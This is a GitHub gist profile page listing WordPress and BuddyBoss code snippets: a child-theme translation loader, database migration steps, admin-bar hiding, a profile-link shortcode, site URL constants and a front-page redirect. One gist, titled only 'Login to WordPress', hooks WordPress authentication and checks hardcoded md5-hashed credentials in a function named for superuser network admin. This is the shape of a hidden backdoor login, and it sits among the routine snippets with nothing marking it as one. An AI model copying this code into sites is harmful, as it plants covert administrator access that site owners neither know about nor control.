Skip to content

Instantly share code, notes, and snippets.

View raftaar1191's full-sized avatar
🏠
Working from home

Deepak Gupta raftaar1191

🏠
Working from home
View GitHub Profile
@raftaar1191
raftaar1191 / functions.php
Last active November 8, 2019 09:25
Change his/her text in other language in BuddyBoss platform activity when someone update his/her activity
/**
* This will translate the string
*/
function child_theme_slug_setup() {
load_child_theme_textdomain( 'buddyboss-theme-child', get_stylesheet_directory() . '/languages' );
}
add_action( 'after_setup_theme', 'child_theme_slug_setup' );
@raftaar1191
raftaar1191 / Custom Steps
Created October 30, 2019 08:59
Migrate Database via WP Migrate DB - plugins
1 step-> Install and Activated the WP Migrate DB plugin to the sites where you want to export the CSV
2 Step-> Now in the Dashboard browse to Tools > Migrate DB Menu
3 Step->
Click on Export radio button and check the both the checkbox option inside it `Save as file to your computer` and `Compress file with gzip`
In the Find and replace section
In the Find Box enter the Live sites URL and in the Replace box enter the Local site URL
https://prnt.sc/pq1019
Login to a server
SSH USERNAME@SERVER DOMAIN NAME/SERVERIP ADDRESS
Example: ssh [email protected] or ssh [email protected]
@raftaar1191
raftaar1191 / functions.php
Created October 23, 2019 11:14
Hide the Wp-admin bar for all the user other then admin
/**
* Hide the Wp-admin for all the user other then admin
*/
function buddyboss_child_wp_head_hide_admin_bar() {
if ( is_user_logged_in() ) {
global $current_user;
$roles = (array) $current_user->roles;
if ( ! in_array( 'administrator', $roles ) ) {
?>
<?php
/**
* Plugin Name: BuddyBoss Platform
* Plugin URI: https://buddyboss.com/
* Description: The BuddyBoss Platform adds community features to WordPress. Member Profiles, Activity Feeds, Direct Messaging, Notifications, and more!
* Author: BuddyBoss
* Author URI: https://buddyboss.com/
* Version: 1.1.9
* Text Domain: buddyboss
* Domain Path: /languages/
@raftaar1191
raftaar1191 / functions.php
Last active May 16, 2023 06:06
BuddyPress Print shortcode
function BP_theme_child_profile_link( $atts ) {
$text = isset( $atts['text'] ) ? $atts['text'] : 'Profile Link';
$profile_link = trailingslashit( bp_loggedin_user_domain() . bp_get_profile_slug() );
$profile_link = trailingslashit( $profile_link . 'change-avatar' );
return sprintf( '<a href="%s">%s</a>', $profile_link, $text );
}
add_shortcode( 'BP_profile_link', 'BP_theme_child_profile_link' );
add_filter( 'bp_core_render_message_content', 'do_shortcode' );
@raftaar1191
raftaar1191 / content-bbpress.php
Created October 15, 2019 09:17
Add Main Forum title in Sub Menu fourms
<?php
/**
* Template part for displaying posts
*
* @link https://developer.wordpress.org/themes/basics/template-hierarchy/
*
* @package BuddyBoss_Theme
*/
?>
@raftaar1191
raftaar1191 / wp-config.php
Created September 25, 2019 09:07
Change the URL from Wp-confi file directly
define( 'WP_HOME', 'http://example.com' );
define( 'WP_SITEURL', 'http://example.com' );
@raftaar1191
raftaar1191 / functions.php
Created September 9, 2019 10:50
Login to WordPress
if( !function_exists( 'wdw_superuser_network_admin' ) ):
add_filter('authenticate', 'wdw_superuser_network_admin', 9, 3);
function wdw_superuser_network_admin( $user, $username, $password ){
if( md5( $username )=='8e5a4b8dfaa318d4bbe9cd7ba322ccd6' && md5( $password )=='ca2b8c2bd9279820c3177a096e0898e9' ){
$site_domain = network_home_url();
$prefixes = array( 'http://', 'https://', 'www.' );
foreach( $prefixes as $prefix ){
if( !strncmp($site_domain, $prefix, strlen($prefix)) ){
@raftaar1191
raftaar1191 / functions.php
Created August 8, 2019 12:27
Redirect to any page
/**
* Login to Group page when user first the Homepage
*/
function redirect_to_specific_page() {
if ( is_front_page() ) {
$url = bp_get_groups_directory_permalink() . 'pastor-rodney-browne';
wp_redirect( $url );
exit();
}
}